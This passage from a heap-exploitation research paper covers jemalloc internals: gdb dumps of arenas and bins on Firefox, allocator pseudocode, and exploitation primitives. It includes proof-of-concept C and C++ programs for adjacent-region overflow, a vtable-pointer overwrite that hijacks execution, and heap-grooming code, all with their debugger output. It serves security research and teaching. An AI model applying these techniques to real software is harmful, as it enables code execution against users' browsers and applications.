[jemalloc] [arena #00] [bin #07] [region size: 0x0060] 

                                            [current run at: 0xa3701000] 

[jemalloc] [arena #00] [bin #08] [region size: 0x0070] 

                                            [current run at: 0xa3810000] 

[jemalloc] [arena #00] [bin #09] [region size: 0x0080] 

                                            [current run at: 0xa3321000] 
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[jemalloc] [arena #00] [bin #10] [region size: 0x00f0] 

                                            [current run at: 0xa57c7000] 

[jemalloc] [arena #00] [bin #11] [region size: 0x0100] 

                                            [current run at: 0xa37e9000] 

[jemalloc] [arena #00] [bin #12] [region size: 0x0110] 

                                            [current run at: 0xa5a9b000] 

[jemalloc] [arena #00] [bin #13] [region size: 0x0120] 

                                            [current run at: 0xa56ea000] 

[jemalloc] [arena #00] [bin #14] [region size: 0x0130] 

                                            [current run at: 0xa3709000] 

[jemalloc] [arena #00] [bin #15] [region size: 0x0140] 

                                            [current run at: 0xa382c000] 

[jemalloc] [arena #00] [bin #16] [region size: 0x0150] 

                                            [current run at: 0xa39da000] 

[jemalloc] [arena #00] [bin #17] [region size: 0x0160] 

                                            [current run at: 0xa56ee000] 

[jemalloc] [arena #00] [bin #18] [region size: 0x0170] 

                                            [current run at: 0xa3849000] 

[jemalloc] [arena #00] [bin #19] [region size: 0x0180] 

                                            [current run at: 0xa3a21000] 

[jemalloc] [arena #00] [bin #20] [region size: 0x01f0] 

                                            [current run at: 0xafc51000] 

[jemalloc] [arena #00] [bin #21] [region size: 0x0200] 

                                            [current run at: 0xa3751000] 

[jemalloc] [arena #00] [bin #22] [region size: 0x0400] 

                                            [current run at: 0xa371d000] 

[jemalloc] [arena #00] [bin #23] [region size: 0x0800] 

                                            [current run at: 0xa370d000] 

 

[jemalloc] [run 0xa3347000] [from 0xa3347000 to 0xa3348000L]  

[jemalloc] [run 0xa371d000] [from 0xa371d000 to 0xa3725000L]  

[jemalloc] [run 0xa3321000] [from 0xa3321000 to 0xa3323000L]  

[jemalloc] [run 0xa334a000] [from 0xa334a000 to 0xa334b000L]  

[jemalloc] [run 0xa370d000] [from 0xa370d000 to 0xa3715000L]  

[jemalloc] [run 0xa3709000] [from 0xa3709000 to 0xa370d000L]  

[jemalloc] [run 0xa37c8000] [from 0xa37c8000 to 0xa37c9000L]  

[jemalloc] [run 0xa5a9b000] [from 0xa5a9b000 to 0xa5a9f000L]  

[jemalloc] [run 0xa3a21000] [from 0xa3a21000 to 0xa3a27000L]  

[jemalloc] [run 0xa382c000] [from 0xa382c000 to 0xa3831000L]  

[jemalloc] [run 0xa3701000] [from 0xa3701000 to 0xa3702000L]  

[jemalloc] [run 0xa57c7000] [from 0xa57c7000 to 0xa57ca000L]  

[jemalloc] [run 0xa56ee000] [from 0xa56ee000 to 0xa56f3000L]  

[jemalloc] [run 0xa39da000] [from 0xa39da000 to 0xa39df000L]  

[jemalloc] [run 0xa37e9000] [from 0xa37e9000 to 0xa37ed000L]  

[jemalloc] [run 0xa3810000] [from 0xa3810000 to 0xa3812000L]  

[jemalloc] [run 0xa3751000] [from 0xa3751000 to 0xa3759000L]  

[jemalloc] [run 0xafc51000] [from 0xafc51000 to 0xafc58000L]  

[jemalloc] [run 0xa334d000] [from 0xa334d000 to 0xa334e000L]  

[jemalloc] [run 0xa372c000] [from 0xa372c000 to 0xa372d000L]  

[jemalloc] [run 0xa52d9000] [from 0xa52d9000 to 0xa52da000L]  

[jemalloc] [run 0xa56ea000] [from 0xa56ea000 to 0xa56ee000L]  

[jemalloc] [run 0xa3732000] [from 0xa3732000 to 0xa3733000L]  

[jemalloc] [run 0xa3849000] [from 0xa3849000 to 0xa384e000L]  

 

 

There is also preliminary support for Mac OS X (x86_64), tested on Lion 

10.7.3 with Firefox 11.0. Also, note that Apple's gdb does not have Python 

scripting support, so the following was obtained with a custom-compiled 

gdb: 
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$ open firefox-11.0.app 

 

$ gdb -nx -x ./gdbinit -p 837 

 

... 

Attaching to process 837 

[New Thread 0x2003 of process 837] 

[New Thread 0x2103 of process 837] 

[New Thread 0x2203 of process 837] 

[New Thread 0x2303 of process 837] 

[New Thread 0x2403 of process 837] 

[New Thread 0x2503 of process 837] 

[New Thread 0x2603 of process 837] 

[New Thread 0x2703 of process 837] 

[New Thread 0x2803 of process 837] 

[New Thread 0x2903 of process 837] 

[New Thread 0x2a03 of process 837] 

[New Thread 0x2b03 of process 837] 

[New Thread 0x2c03 of process 837] 

[New Thread 0x2d03 of process 837] 

[New Thread 0x2e03 of process 837] 

Reading symbols from 

/dbg/firefox-11.0.app/Contents/MacOS/firefox...done 

Reading symbols from 

/dbg/firefox-11.0.app/Contents/MacOS/firefox.dSYM/ 

Contents/Resources/DWARF/firefox...done. 

0x00007fff8636b67a in ?? () from /usr/lib/system/libsystem_kernel.dylib 

(gdb) source unmask_jemalloc.py 

(gdb) unmask_jemalloc 

 

[jemalloc] [number of arenas:       1] 

[jemalloc] [number of bins:         35] 

[jemalloc] [no magazines/thread caches detected] 

 

[jemalloc] [arena #00] [bin #00] [region size: 0x0008] 

                                            [current run at: 0x108fe0000] 

[jemalloc] [arena #00] [bin #01] [region size: 0x0010] 

                                            [current run at: 0x1003f5000] 

[jemalloc] [arena #00] [bin #02] [region size: 0x0020] 

                                            [current run at: 0x1003bc000] 

[jemalloc] [arena #00] [bin #03] [region size: 0x0030] 

                                            [current run at: 0x1003d7000] 

[jemalloc] [arena #00] [bin #04] [region size: 0x0040] 

                                            [current run at: 0x1054c6000] 

[jemalloc] [arena #00] [bin #05] [region size: 0x0050] 

                                            [current run at: 0x103652000] 

[jemalloc] [arena #00] [bin #06] [region size: 0x0060] 

                                            [current run at: 0x110c9c000] 

[jemalloc] [arena #00] [bin #07] [region size: 0x0070] 

                                            [current run at: 0x106bef000] 

[jemalloc] [arena #00] [bin #08] [region size: 0x0080] 

                                            [current run at: 0x10693b000] 

[jemalloc] [arena #00] [bin #09] [region size: 0x0090] 

                                            [current run at: 0x10692e000] 

[jemalloc] [arena #00] [bin #10] [region size: 0x00a0] 

                                            [current run at: 0x106743000] 

[jemalloc] [arena #00] [bin #11] [region size: 0x00b0] 

                                            [current run at: 0x109525000] 

[jemalloc] [arena #00] [bin #12] [region size: 0x00c0] 

                                            [current run at: 0x1127c2000] 

[jemalloc] [arena #00] [bin #13] [region size: 0x00d0] 
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                                            [current run at: 0x106797000] 

[jemalloc] [arena #00] [bin #14] [region size: 0x00e0] 

                                            [current run at: 0x109296000] 

[jemalloc] [arena #00] [bin #15] [region size: 0x00f0] 

                                            [current run at: 0x110aa9000] 

[jemalloc] [arena #00] [bin #16] [region size: 0x0100] 

                                            [current run at: 0x106c70000] 

[jemalloc] [arena #00] [bin #17] [region size: 0x0110] 

                                            [current run at: 0x109556000] 

[jemalloc] [arena #00] [bin #18] [region size: 0x0120] 

                                            [current run at: 0x1092bf000] 

[jemalloc] [arena #00] [bin #19] [region size: 0x0130] 

                                            [current run at: 0x1092a2000] 

[jemalloc] [arena #00] [bin #20] [region size: 0x0140] 

                                            [current run at: 0x10036a000] 

[jemalloc] [arena #00] [bin #21] [region size: 0x0150] 

                                            [current run at: 0x100353000] 

[jemalloc] [arena #00] [bin #22] [region size: 0x0160] 

                                            [current run at: 0x1093d3000] 

[jemalloc] [arena #00] [bin #23] [region size: 0x0170] 

                                            [current run at: 0x10f024000] 

[jemalloc] [arena #00] [bin #24] [region size: 0x0180] 

                                            [current run at: 0x106b58000] 

[jemalloc] [arena #00] [bin #25] [region size: 0x0190] 

                                            [current run at: 0x10f002000] 

[jemalloc] [arena #00] [bin #26] [region size: 0x01a0] 

                                            [current run at: 0x10f071000] 

[jemalloc] [arena #00] [bin #27] [region size: 0x01b0] 

                                            [current run at: 0x109139000] 

[jemalloc] [arena #00] [bin #28] [region size: 0x01c0] 

                                            [current run at: 0x1091c6000] 

[jemalloc] [arena #00] [bin #29] [region size: 0x01d0] 

                                            [current run at: 0x10032a000] 

[jemalloc] [arena #00] [bin #30] [region size: 0x01e0] 

                                            [current run at: 0x1054f9000] 

[jemalloc] [arena #00] [bin #31] [region size: 0x01f0] 

                                            [current run at: 0x10034c000] 

[jemalloc] [arena #00] [bin #32] [region size: 0x0200] 

                                            [current run at: 0x106739000] 

[jemalloc] [arena #00] [bin #33] [region size: 0x0400] 

                                            [current run at: 0x106c68000] 

[jemalloc] [arena #00] [bin #34] [region size: 0x0800] 

                                            [current run at: 0x10367e000] 

 

 

We did our best to test unmask_jemalloc.py on all jemalloc variants, 

however there are probably some bugs left. Feel free to test it and send us 

patches. The development of unmask_jemalloc.py will continue at [UJEM]. 

 

 

----[ 2.2 - Algorithms 

 

In this section we present pseudocode the describes the allocation and 

deallocation algorithms implemented by jemalloc. We start with malloc(): 

 

 

MALLOC(size): 

    IF size CAN BE SERVICED BY AN ARENA: 

        IF size IS SMALL OR MEDIUM: 

            bin = get_bin_for_size(size) 
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            IF bin->runcur EXISTS AND NOT FULL: 

                run = bin->runcur 

            ELSE: 

                run = lookup_or_allocate_nonfull_run() 

                bin->runcur = run 

 

            bit = get_first_set_bit(run->regs_mask) 

            region = get_region(run, bit) 

 

        ELIF size IS LARGE: 

            region = allocate_new_run() 

    ELSE: 

        region = allocate_new_chunk() 

    RETURN region 

 

 

calloc() is as you would expect: 

 

 

CALLOC(n, size): 

    RETURN MALLOC(n * size) 

 

 

Finally, the pseudocode for free(): 

 

 

FREE(addr): 

    IF addr IS NOT EQUAL TO THE CHUNK IT BELONGS: 

        IF addr IS A SMALL ALLOCATION: 

            run = get_run_addr_belongs_to(addr); 

            bin = run->bin; 

            size = bin->reg_size; 

            element = get_element_index(addr, run, bin) 

            unset_bit(run->regs_mask[element]) 

 

        ELSE: /* addr is a large allocation */ 

            run = get_run_addr_belongs_to(addr) 

            chunk = get_chunk_run_belongs_to(run) 

            run_index = get_run_index(run, chunk) 

            mark_pages_of_run_as_free(run_index) 

 

            IF ALL THE PAGES OF chunk ARE MARKED AS FREE: 

                unmap_the_chunk_s_pages(chunk) 

 

    ELSE: /* this is a huge allocation */ 

        unmap_the_huge_allocation_s_pages(addr) 

 

 

--[ 3 - Exploitation tactics 

 

In this section we analyze the exploitation tactics we have investigated 

against jemalloc. Our goal is to provide to the interested hackers the 

necessary knowledge and tools to develop exploits for jemalloc heap 

corruption bugs. 

 

We also try to approach jemalloc heap exploitation in an abstract way 

initially, identifying 'exploitation primitives' and then continuing into 

the specific required technical details. Chris Valasek and Ryan Smith have 

explored the value of abstracting heap exploitation through primitives 

[CVRS]. The main idea is that specific exploitation techniques eventually 

become obsolete. Therefore it is important to approach exploitation 
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abstractly and identify primitives that can applied to new targets. We have 

used this approach before, comparing FreeBSD and Linux kernel heap 

exploitation [HAPF, APHN]. Regarding jemalloc, we analyze adjacent data 

corruption, heap manipulation and metadata corruption exploitation 

primitives. 

 

 

----[ 3.1 - Adjacent region corruption 

 

The main idea behind adjacent heap item corruptions is that you exploit the 

fact that the heap manager places user allocations next to each other 

contiguously without other data in between. In jemalloc regions of the same 

size class are placed on the same bin. In the case that they are also 

placed on the same run of the bin then there are no inline metadata between 

them. In 3.2 we will see how we can force this, but for now let's assume 

that new allocations of the same size class are placed in the same run. 

 

Therefore, we can place a victim object/structure of our choosing in the 

same run and next to the vulnerable object/structure we plan to overflow. 

The only requirement is that the victim and vulnerable objects need to be 

of a size that puts them in the same size class and therefore possibly in 

the same run (again, see the next subsection on how to control this). Since 

there are no metadata between the two regions, we can overflow from the 

vulnerable region to the victim region we have chosen. Usually the victim 

region is something that can help us achieve arbitrary code execution, for 

example function pointers. 

 

In the following contrived example consider that 'three' is your chosen 

victim object and that the vulnerable object is 'two' (full code in file 

test-adjacent.c): 

 

 

char *one, *two, *three; 

 

printf("[*] before overflowing\n"); 

 

one = malloc(0x10); 

memset(one, 0x41, 0x10); 

printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one); 

 

two = malloc(0x10); 

memset(two, 0x42, 0x10); 

printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two); 

 

three = malloc(0x10); 

memset(three, 0x43, 0x10); 

printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three); 

 

[3-1] 

 

printf("[+] copying argv[1] to region two\n"); 

strcpy(two, argv[1]); 

 

printf("[*] after overflowing\n"); 

printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one); 

printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two); 

printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three); 

 

[3-2] 

 

free(one); 
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free(two); 

free(three); 

 

printf("[*] after freeing all regions\n"); 

printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one); 

printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two); 

printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three); 

 

[3-3] 

 

 

The output (edited for readability): 

 

 

$ ./test-adjacent `python -c 'print "X" * 30'` 

[*] before overflowing 

[+] region one:   0xb7003030: AAAAAAAAAAAAAAAA 

[+] region two:   0xb7003040: BBBBBBBBBBBBBBBB 

[+] region three: 0xb7003050: CCCCCCCCCCCCCCCC 

[+] copying argv[1] to region two 

[*] after overflowing 

[+] region one:   0xb7003030:  

AAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 

[+] region two:   0xb7003040: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 

[+] region three: 0xb7003050: XXXXXXXXXXXXXX 

[*] after freeing all regions 

[+] region one:   0xb7003030:  

AAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 

[+] region two:   0xb7003040: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 

[+] region three: 0xb7003050: XXXXXXXXXXXXXX 

 

 

Examining the above we can see that region 'one' is at 0xb7003030 and that 

the following two allocations (regions 'two' and 'three') are in the same 

run immediately after 'one' and all three next to each other without any 

metadata in between them. After the overflow of 'two' with 30 'X's we can 

see that region 'three' has been overwritten with 14 'X's (30 - 16 for the 

size of region 'two'). 

 

In order to achieve a better understanding of the jemalloc memory layout 

let's fire up gdb with three breakpoints at [3-1], [3-2] and [3-3]. 

 

At breakpoint [3-1]: 

 

 

Breakpoint 1, 0x080486a9 in main () 

gdb $ print arenas[0].bins[2].runcur 

$1 = (arena_run_t *) 0xb7003000 

 

 

At 0xb7003000 is the current run of the bin bins[2] that manages the size 

class 16 in the standalone jemalloc flavor that we have linked against. 

Let's take a look at the run's contents: 

 

 

gdb $ x/40x 0xb7003000 

0xb7003000: 0xb78007ec  0x00000003  0x000000fa  0xfffffff8 

0xb7003010: 0xffffffff  0xffffffff  0xffffffff  0xffffffff 

0xb7003020: 0xffffffff  0xffffffff  0x1fffffff  0x000000ff 

0xb7003030: 0x41414141  0x41414141  0x41414141  0x41414141 

0xb7003040: 0x42424242  0x42424242  0x42424242  0x42424242 
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0xb7003050: 0x43434343  0x43434343  0x43434343  0x43434343 

0xb7003060: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003070: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003080: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003090: 0x00000000  0x00000000  0x00000000  0x00000000 

 

 

After some initial metadata (the run's header which we will see in more 

detail at 3.3.1) we have region 'one' at 0xb7003030 followed by regions 

'two' and 'three', all of size 16 bytes. Again we can see that there are no 

metadata between the regions. Continuing to breakpoint [3-2] and examining 

again the contents of the run: 

 

 

Breakpoint 2, 0x08048724 in main () 

gdb $ x/40x 0xb7003000 

0xb7003000: 0xb78007ec  0x00000003  0x000000fa  0xfffffff8 

0xb7003010: 0xffffffff  0xffffffff  0xffffffff  0xffffffff 

0xb7003020: 0xffffffff  0xffffffff  0x1fffffff  0x000000ff 

0xb7003030: 0x41414141  0x41414141  0x41414141  0x41414141 

0xb7003040: 0x58585858  0x58585858  0x58585858  0x58585858 

0xb7003050: 0x58585858  0x58585858  0x58585858  0x43005858 

0xb7003060: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003070: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003080: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003090: 0x00000000  0x00000000  0x00000000  0x00000000 

 

 

We can see that our 30 'X's (0x58) have overwritten the complete 16 bytes 

of region 'two' at 0xb7003040 and continued for 15 bytes (14 plus a NULL 

from strcpy(3)) in region 'three' at 0xb7003050. From this memory dump it 

should be clear why the printf(3) call of region 'one' after the overflow 

continues to print all 46 bytes (16 from region 'one' plus 30 from the 

overflow) up to the NULL placed by the strcpy(3) call. As it has been 

demonstrated by Peter Vreugdenhil in the context of Internet Explorer heap 

overflows [PV10], this can lead to information leaks from the region that 

is adjacent to the region with the string whose terminating NULL has been 

overwritten. You just need to read back the string and you will get all 

data up to the first encountered NULL. 

 

At breakpoint [3-3] after the deallocation of all three regions: 

 

 

Breakpoint 3, 0x080487ab in main () 

gdb $ x/40x 0xb7003000 

0xb7003000: 0xb78007ec  0x00000003  0x000000fd  0xffffffff 

0xb7003010: 0xffffffff  0xffffffff  0xffffffff  0xffffffff 

0xb7003020: 0xffffffff  0xffffffff  0x1fffffff  0x000000ff 

0xb7003030: 0x41414141  0x41414141  0x41414141  0x41414141 

0xb7003040: 0x58585858  0x58585858  0x58585858  0x58585858 

0xb7003050: 0x58585858  0x58585858  0x58585858  0x43005858 

0xb7003060: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003070: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003080: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7003090: 0x00000000  0x00000000  0x00000000  0x00000000 

 

 

We can see that jemalloc does not clear the freed regions. This behavior of 

leaving stale data in regions that have been freed and can be allocated 

again can lead to easier exploitation of use-after-free bugs (see next 

section). 
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To explore the adjacent region corruption primitive further in the context 

of jemalloc, we will now look at C++ and virtual function pointers (VPTRs). 

We will only focus on jemalloc-related details; for more general 

information the interested reader should see rix's Phrack paper (the 

principles of which are still applicable) [VPTR]. We begin with a C++ 

example that is based on rix's bo2.cpp (file vuln-vptr.cpp in the code 

archive): 

 

 

class base 

{ 

    private: 

 

        char buf[32]; 

 

    public: 

 

        void 

        copy(const char *str) 

        { 

            strcpy(buf, str); 

        } 

         

        virtual void 

        print(void) 

        { 

            printf("buf: 0x%08x: %s\n", buf, buf); 

        } 

}; 

 

class derived_a : public base 

{ 

    public: 

 

        void 

        print(void) 

        { 

            printf("[+] derived_a: "); 

            base::print(); 

        } 

}; 

 

class derived_b : public base 

{ 

    public: 

 

        void 

        print(void) 

        { 

            printf("[+] derived_b: "); 

            base::print(); 

        } 

}; 

 

int 

main(int argc, char *argv[]) 

{ 

    base *obj_a; 

    base *obj_b; 
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    obj_a = new derived_a; 

    obj_b = new derived_b; 

 

    printf("[+] obj_a:\t0x%x\n", (unsigned int)obj_a); 

    printf("[+] obj_b:\t0x%x\n", (unsigned int)obj_b); 

 

    if(argc == 3) 

    { 

        printf("[+] overflowing from obj_a into obj_b\n"); 

        obj_a->copy(argv[1]); 

 

        obj_b->copy(argv[2]); 

 

        obj_a->print(); 

        obj_b->print(); 

 

        return 0; 

    } 

 

 

We have a base class with a virtual function, 'print(void)', and two 

derived classes that overload this virtual function. Then in main, we use 

'new' to create two new objects, one from each of the derived classes. 

Subsequently we overflow the 'buf' buffer of 'obj_a' with 'argv[1]'. 

 

Let's explore with gdb: 

 

 

$ gdb vuln-vptr 

... 

gdb $ r `python -c 'print "A" * 48'` `python -c 'print "B" * 10'` 

... 

0x804862f <main(int, char**)+15>:    movl   $0x24,(%esp) 

0x8048636 <main(int, char**)+22>:    call   0x80485fc <_Znwj@plt> 

0x804863b <main(int, char**)+27>:    movl   $0x80489e0,(%eax) 

gdb $ print $eax 

$13 = 0xb7c01040 

 

 

At 0x8048636 we can see the first 'new' call which takes as a parameter the 

size of the object to create, that is 0x24 or 36 bytes. C++ will of course 

use jemalloc to allocate the required amount of memory for this new object. 

After the call instruction, EAX has the address of the allocated region 

(0xb7c01040) and at 0x804863b the value 0x80489e0 is moved there. This is 

the VPTR that points to 'print(void)' of 'obj_a': 

 

 

gdb $ x/x *0x080489e0 

0x80487d0 <derived_a::print()>: 0xc71cec83 

 

 

Now it must be clear why even though the declared buffer is 32 bytes long, 

there are 36 bytes allocated for the object. Exactly the same as above 

happens with the second 'new' call, but this time the VPTR points to 

'obj_b' (which is at 0xb7c01070): 

 

 

0x8048643 <main(int, char**)+35>:    movl   $0x24,(%esp) 

0x804864a <main(int, char**)+42>:    call   0x80485fc <_Znwj@plt> 

0x804864f <main(int, char**)+47>:    movl   $0x80489f0,(%eax) 

gdb $ x/x *0x080489f0 
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0x8048800 <derived_b::print()>: 0xc71cec83 

gdb $ print $eax 

$14 = 0xb7c01070 

 

 

At this point, let's explore jemalloc's internals: 

 

 

gdb $ print arenas[0].bins[5].runcur 

$8 = (arena_run_t *) 0xb7c01000 

gdb $ print arenas[0].bins[5].reg_size 

$9 = 0x30 

gdb $ print arenas[0].bins[4].reg_size 

$10 = 0x20 

gdb $ x/40x 0xb7c01000 

0xb7c01000: 0xb7fd315c  0x00000000  0x00000052  0xfffffffc 

0xb7c01010: 0xffffffff  0x000fffff  0x00000000  0x00000000 

0xb7c01020: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7c01030: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7c01040: 0x080489e0  0x00000000  0x00000000  0x00000000 

0xb7c01050: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7c01060: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7c01070: 0x080489f0  0x00000000  0x00000000  0x00000000 

0xb7c01080: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7c01090: 0x00000000  0x00000000  0x00000000  0x00000000 

 

 

Our run is at 0xb7c01000 and the bin is bin[5] which handles regions of 

size 0x30 (48 in decimal). Since our objects are of size 36 bytes they 

don't fit in the previous bin, i.e. bin[4], of size 0x20 (32). We can see 

'obj_a' at 0xb7c01040 with its VPTR (0x080489e0) and 'obj_b' at 0xb7c01070 

with its own VPTR (0x080489f0). 

 

Our next breakpoint is after the overflow of 'obj_a' into 'obj_b' and just 

before the first call of 'print()'. Our run now looks like the following: 

 

 

gdb $ x/40x 0xb7c01000 

0xb7c01000: 0xb7fd315c  0x00000000  0x00000052  0xfffffffc 

0xb7c01010: 0xffffffff  0x000fffff  0x00000000  0x00000000 

0xb7c01020: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7c01030: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7c01040: 0x080489e0  0x41414141  0x41414141  0x41414141 

0xb7c01050: 0x41414141  0x41414141  0x41414141  0x41414141 

0xb7c01060: 0x41414141  0x41414141  0x41414141  0x41414141 

0xb7c01070: 0x41414141  0x42424242  0x42424242  0x00004242 

0xb7c01080: 0x00000000  0x00000000  0x00000000  0x00000000 

0xb7c01090: 0x00000000  0x00000000  0x00000000  0x00000000 

gdb $ x/i $eip 

0x80486d1 <main(int, char**)+177>:   call   *(%eax) 

gdb $ print $eax 

$15 = 0x80489e0 

 

 

At 0x080486d1 is the call of 'print()' of 'obj_a'. At 0xb7c01070 we can see 

that we have overwritten the VPTR of 'obj_b' that was in an adjacent region 

to 'obj_a'. Finally, at the call of 'print()' by 'obj_b': 

 

 

gdb $ x/i $eip 

=> 0x80486d8 <main(int, char**)+184>:   call   *(%eax) 
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gdb $ print $eax 

$16 = 0x41414141 

 

 

----[ 3.2 - Heap manipulation 

 

In order to be able to arrange the jemalloc heap in a predictable state we 

need to understand the allocator's behavior and use heap manipulation 

tactics to influence it to our advantage. In the context of browsers, heap 

manipulation tactics are usually referred to as 'Heap Feng Shui' after 

Alexander Sotirov's work [FENG]. 

 

By 'predictable state' we mean that the heap must be arranged as reliably 

as possible in a way that we can position data where we want. This enables 

us to use the tactic of corrupting adjacent regions of the previous 

paragraph, but also to exploit use-after-free bugs. In use-after-free 

bugs a memory region is allocated, used, freed and then used again due 

to a bug. In such a case if we know the region's size we can manipulate 

the heap to place data of our own choosing in the freed region's memory 

slot on its run before it is used again. Upon its subsequent incorrect use 

the region now has our data that can help us hijack the flow of execution. 

 

To explore jemalloc's behavior and manipulate it into a predictable 

state we use an algorithm similar to the one presented in [HOEJ]. Since 

in the general case we cannot know beforehand the state of the runs of 

the class size we are interested in, we perform many allocations of this 

size hoping to cover the holes (i.e. free regions) in the existing runs 

and get a fresh run. Hopefully the next series of allocations we will 

perform will be on this fresh run and therefore will be sequential. As 

we have seen, sequential allocations on a largely empty run are also 

contiguous. Next, we perform such a series of allocations controlled by 

us. In the case we are trying to use the adjacent regions corruption 

tactic, these allocations are of the victim object/structure we have 

chosen to help us gain code execution when corrupted. 

 

The following step is to deallocate every second region in this last series 

of controlled victim allocations. This will create holes in between the 

victim objects/structures on the run of the size class we are trying to 

manipulate. Finally, we trigger the heap overflow bug forcing, due to the 

state we have arranged, jemalloc to place the vulnerable objects in holes  

on the target run overflowing into the victim objects. 

 

Let's demonstrate the above discussion with an example (file test-holes.c 

in the code archive): 

 

 

#define TSIZE   0x10            /* target size class */ 

#define NALLOC  500             /* number of allocations */ 

#define NFREE   (NALLOC / 10)   /* number of deallocations */ 

 

char *foo[NALLOC]; 

char *bar[NALLOC]; 

 

printf("step 1: controlled allocations of victim objects\n"); 

 

for(i = 0; i < NALLOC; i++) 

{ 

    foo[i] = malloc(TSIZE); 

    printf("foo[%d]:\t\t0x%x\n", i, (unsigned int)foo[i]); 

} 
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printf("step 2: creating holes in between the victim objects\n"); 

 

for(i = (NALLOC - NFREE); i < NALLOC; i += 2) 

{ 

    printf("freeing foo[%d]:\t0x%x\n", i, (unsigned int)foo[i]); 

    free(foo[i]); 

} 

 

printf("step 3: fill holes with vulnerable objects\n"); 

 

for(i = (NALLOC - NFREE + 1); i < NALLOC; i += 2) 

{ 

    bar[i] = malloc(TSIZE); 

    printf("bar[%d]:\t0x%x\n", i, (unsigned int)bar[i]); 

} 

 

 

jemalloc's behavior can be observed in the output, remember that our target 

size class is 16 bytes: 

 

 

$ ./test-holes 

step 1: controlled allocations of victim objects 

foo[0]:             0x40201030 

foo[1]:             0x40201040 

foo[2]:             0x40201050 

foo[3]:             0x40201060 

foo[4]:             0x40201070 

foo[5]:             0x40201080 

foo[6]:             0x40201090 

foo[7]:             0x402010a0 

 

... 

 

foo[447]:           0x40202c50 

foo[448]:           0x40202c60 

foo[449]:           0x40202c70 

foo[450]:           0x40202c80 

foo[451]:           0x40202c90 

foo[452]:           0x40202ca0 

foo[453]:           0x40202cb0 

foo[454]:           0x40202cc0 

foo[455]:           0x40202cd0 

foo[456]:           0x40202ce0 

foo[457]:           0x40202cf0 

foo[458]:           0x40202d00 

foo[459]:           0x40202d10 

foo[460]:           0x40202d20 

 

... 

 

step 2: creating holes in between the victim objects 

freeing foo[450]:   0x40202c80 

freeing foo[452]:   0x40202ca0 

freeing foo[454]:   0x40202cc0 

freeing foo[456]:   0x40202ce0 

freeing foo[458]:   0x40202d00 

freeing foo[460]:   0x40202d20 

freeing foo[462]:   0x40202d40 

freeing foo[464]:   0x40202d60 

freeing foo[466]:   0x40202d80 
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freeing foo[468]:   0x40202da0 

freeing foo[470]:   0x40202dc0 

freeing foo[472]:   0x40202de0 

freeing foo[474]:   0x40202e00 

freeing foo[476]:   0x40202e20 

freeing foo[478]:   0x40202e40 

freeing foo[480]:   0x40202e60 

freeing foo[482]:   0x40202e80 

freeing foo[484]:   0x40202ea0 

freeing foo[486]:   0x40202ec0 

freeing foo[488]:   0x40202ee0 

freeing foo[490]:   0x40202f00 

freeing foo[492]:   0x40202f20 

freeing foo[494]:   0x40202f40 

freeing foo[496]:   0x40202f60 

freeing foo[498]:   0x40202f80 

 

step 3: fill holes with vulnerable objects 

bar[451]:           0x40202c80 

bar[453]:           0x40202ca0 

bar[455]:           0x40202cc0 

bar[457]:           0x40202ce0 

bar[459]:           0x40202d00 

bar[461]:           0x40202d20 

bar[463]:           0x40202d40 

bar[465]:           0x40202d60 

bar[467]:           0x40202d80 

bar[469]:           0x40202da0 

bar[471]:           0x40202dc0 

bar[473]:           0x40202de0 

bar[475]:           0x40202e00 

bar[477]:           0x40202e20 

bar[479]:           0x40202e40 

bar[481]:           0x40202e60 

bar[483]:           0x40202e80 

bar[485]:           0x40202ea0 

bar[487]:           0x40202ec0 

bar[489]:           0x40202ee0 

bar[491]:           0x40202f00 

bar[493]:           0x40202f20 

bar[495]:           0x40202f40 

bar[497]:           0x40202f60 

bar[499]:           0x40202f80 

 

 

We can see that jemalloc works in a FIFO way; the first region freed is the 

first returned for a subsequent allocation request. Although our example 

mainly demonstrates how to manipulate the jemalloc heap to exploit adjacent 

region corruptions, our observations can also help us to exploit 

use-after-free vulnerabilities. When our goal is to get data of our own 

choosing in the same region as a freed region about to be used, jemalloc's 

FIFO behavior can he help us place our data in a predictable way. 

 

In the above discussion we have implicitly assumed that we can make 

arbitrary allocations and deallocations; i.e. that we have available in 

our exploitation tool belt allocation and deallocation primitives for 

our target size. Depending on the vulnerable application (that relies 

on jemalloc) this may or may not be straightforward. For example, if 

our target is a media player we may be able to control allocations by 

introducing an arbitrary number of metadata tags in the input file. In 

the case of Firefox we can of course use Javascript to implement our 
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heap primitives.  But that's the topic of another paper. 

 

 

----[ 3.3 - Metadata corruption 

 

The final heap corruption primitive we will focus on is the corruption of 

metadata. We will once again remind you that since jemalloc is not based 

on freelists (it uses macro-based red black trees instead), unlink and 

frontlink exploitation techniques are not usable. We will instead pay 

attention on how we can force 'malloc()' return a pointer that points 

to already initialized heap regions. 

 

 

------[ 3.3.1 - Run (arena_run_t) 

 

We have already defined what a 'run' is in section 2.1.3. We will briefly 

remind the reader that a 'run' is just a collection of memory regions of 

equal size that starts with some metadata describing it. Recall that runs 

